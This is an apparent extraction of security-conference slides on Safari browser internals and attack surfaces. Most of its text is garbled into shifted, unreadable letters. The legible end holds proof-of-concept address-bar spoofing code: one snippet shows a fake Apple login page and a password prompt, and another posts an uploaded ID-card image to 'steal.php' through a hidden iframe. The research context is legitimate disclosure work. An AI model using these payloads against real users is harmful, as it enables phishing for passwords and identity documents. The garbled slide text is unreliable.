
4BGBSJ�"EWFOUVSF��"�%JWF�JOUP�"QQMF�#SPXTFS�*OUFSOBMT
;IJZBOH�;FOH�	B�L�B�8FTUFS

/PWFNCFS�����
4FPVM�4PVUI�,PSFB

1PXFS�PG�$PNNVOJUZ



#JP
• 4FDVSJUZ�3FTFBSDI���1FOUFTU���%FWFMPQNFOU

!XFTUFS�Y��
BMFSU!MJHIUSBJOT�PSH

• 5FODFOU�#MBEF�5FBN
� 'PVOEFE�JO������UP�QSPUFDU�VTFS�EBUB�BOE�JOGSBTUSVDUVSF�
� "*�*P5�.PCJMF�%FWJDF�$MPVE�7JSUVBMJ[BUJPO�5FDIOPMPHZ�
� 7VMOFSBCJMJUJFT�EJTDMPTFEˋ"QQMF�(PPHMF�.JDSPTPGU�"EPCF�FUD�
� #MBDLIBU�%&'$0/�$BO4FD8FTU�)*5#�10$�,$PO�9$PO�$44�



"HFOEB
*OUSPEVDUJPO
"SDIJUFDUVSF�BOE�"UUBDL�4VSGBDFT
7VMOFSBCJMJUZ�$BTF�4UVEJFT
1BSU����#SFBL�6*�BOE�TFDVSJUZ�GFBUVSFT�UIF�MPHJDBM�XBZ
1BSU��� "UUBDL�+BWB4DSJQU$PSF�+VTU�*O�5JNF�DPNQJMFS�
1BSU����&YQMPSF�4BGBSJ4FSWJDFT�GSBNFXPSL�JO�J�NBD04
$PODMVTJPO



*OUSPEVDUJPO



5IF�UBSHFU

"QQMF�CSPXTFS��� 4BGBSJ
� %FGBVMU�CSPXTFS�GPS�J04�BOE�NBD04�
� 'JSTU�SFMFBTFE�PO�EFTLUPQ����ZFBST�BHP�
� "QQMF�TBJE��5IF�CFTU�XBZ�UP�TFF�UIF�TJUFT���



8IZ�4BGBSJ 

� 5IF�TFDPOE�QPQVMBS�CSPXTFS�CFIJOE
$ISPNF�

� 4BGBSJ�JT�CBTFE�PO�8FC,JU FOHJOF�BOE�
8FC,JU JT�CFJOH�XJEFMZ�VTFE�

7VMOFSBCJMJUZ�JNQBDU 4FDVSJUZ�SFTFBSDI

� 'SJFOEMZ�UP�CFHJOOFST�B�MJUUMF�FBTJFS UP�
EJTDPWFSZ�WVMOFSBCJMJUJFT�UIBO�$ISPNF�

� "O�JNQPSUBOU�MJOL�JO�UIF�J04�NBD04�
FYQMPJU�DIBJO�



"SDIJUFDUVSF�BOE�"UUBDL�4VSGBDFT



6TFS�*OUFSGBDF

5ZQJDBM�4BGBSJ�"SDIJUFDUVSF



%JWFSTJGJFE�6TFS�*OUFSGBDF

$ISPNF�'VMM�1BUI�63-

4BGBSJ #BTF�%PNBJO�63-

&YUFSOBM�BQQT�SFRVFTU

/PUJGJDBUJPO 1BZNFOU 44-�XBSOJOH



6TFS�*OUFSGBDF�"UUBDL�4VSGBDF
"�WBMVBCMF�"EESFTT�CBS�TQPPGJOH�WVMOFSBCJMJUZ

"EESFTT�CBS�NVTU�TIPX�WJDUJN�EPNBJO

8FCQBHF�NVTU�CF�BCMF�UP�JOUFSBDU�XJUI�WJDUJNT

8FCQBHF�DBOOPU�CF�FNQUZ

8FCQBHF�NVTU�LFFQ�UIJT�TUBUVT�NPSF�UIBO���TFDPOET

�
� �
�



6TFS�*OUFSGBDF�"UUBDL�4VSGBDF
"EESFTT�CBS�TQPPGJOH�� 1IJTIJOH�XJUI�SFEJSFDUJPO�

)PX�UP�GPSDF�BEESFTT�CBS�UP�TIPX�WJDUJN�EPNBJO 
3FEJSFDU�XFCQBHF�UP�OPO�FYJTUFE�MPDBUJPO�� F�H���IUUQ���XXX�BQQMF�DPN�����

#VU�BEESFTT�CBS�BMXBZT�LFFQ�MPBEJOH�TUBUVT�IPX�UP�TPMWF�JU 
XJOEPX�TIPX.PEBM%JBMPH	
�JT�B�QFSGFDU�DIPJDF�



6TFS�*OUFSGBDF�"UUBDL�4VSGBDF

LPSFB�LS
"4$**�%PNBJO�/BNF

"WBJMBCMF�
-FUUFST�<B�[>%JHJUT�<���>)ZQIFO�<�>

4FDPOE�-FWFM�%PNBJO 5-%
"WBJMBCMF�

-FUUFST�<B�[>

κοSėŌ�κS
*OUFSOBUJPOBMJ[FE�%PNBJO�/BNF

4FDPOE�-FWFM�%PNBJO DD5-%�H5-%
"WBJMBCMF�
6OJDPEF�TUS1VOZDPEF�TUS

"WBJMBCMF�
6OJDPEF�TUS1VOZDPEF�TUS

YO��S�YJB��SVB��D�YO��S�INC
"4$**�%PNBJO�/BNF

1VOZDPEF�DPOWFSU

8IBU�JT�*%/�WJTVBM�DPOGVTJPO 



8FC$PSF�8PSL�1JQFMJOF



8FC$PSF�"UUBDL�4VSGBDFT

$POUFOU�4FDVSJUZ�1PMJDZ
4BNF�0SJHJO�1PMJDZ

.JY�$POUFOU

.FNPSZ�DPSSVQUJPO�CVHT
DPOUBJO�BMM�UIF�DMBTTJD�$���CVHT��6"'�

00#�0WFSGMPXT�˘

5ISFBU�
$SPTT�TJUF�TDSJQUJOH
1BDLFU�TOJGGJOH�BUUBDLT
.BMJDJPVT�)5.-�SFTPVSDFT�

5ISFBU�
.JYFE�QBTTJWF�EJTQMBZ DPOUFOU
.JYFE�BDUJWF�DPOUFOU

5ISFBU�
$SPTT�PSJHJO�OFUXPSL�BDDFTT
$SPTT�PSJHJO�TDSJQU�"1*�BDDFTT
$SPTT�PSJHJO�EBUB�TUPSBHF�BDDFTT



KBWBTDSJQU
+4$�8PSL�1JQFMJOF



+4$�"UUBDL�4VSGBDFT

#ZUFDPEF +*5
(FOFSBUF�#ZUFDPEF

0QUJNJ[F�$PEF

.FNPSZ�DPSSVQUJPO�CVHT
DPOUBJO�BMM�UIF�DMBTTJD�$���CVHT��
6"'�00#�0WFSGMPXT�˘

• *ODPSSFDU�PQUJNJ[BUJPOT
• *ODPSSFDU�CZUFDPEF�QBSTF
• ˘



7VMOFSBCJMJUZ�$BTF�4UVEJFT



1BSU����#SFBL�6*�BOE�TFDVSJUZ�GFBUVSFT�UIF�MPHJDBM�XBZ



"EESFTT�#BS�4QPPGJOH
1IJTIJOH�XJUI�SFEJSFDUJPO�$BTF�4UVEZ�����$7&����������



"EESFTT�#BS�4QPPGJOH
1IJTIJOH�XJUI�SFEJSFDUJPO�$BTF�4UVEZ�����$7&����������

<script>
function spoof() {

<!-- add fake text to the webpage -->
document.write("<title>Apple login</title><h1>Trust me! This is 

apple.com!</h1>);  
<!-- redirect to non-existent location  -->

window.location.assign("http://www.apple.com:1234");
}

<!-- keep the loading status -->
setInterval(spoof(), 2000);
setTimeout(function() {

<!-- popup fake dialog -->
prompt('Checking your appid password:’);

},6000); 
</script>
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<script>
window.onload=function(){

window.location.assign("https://google.com:1234");
}

</script>
<body>

Please upload your ID card image to continue visit Google!
<!–- we can still upload files -->
<form action="steal.php" method="post" target="frame">

<input type="file" name="file">
<input type="submit" value="Submit" 

onclick="javascript:setTimeout(function(){window.location.href='http://google.com'},
2000)"/>

</form>
<iframe name="frame" style="display: none"></iframe>

</body>
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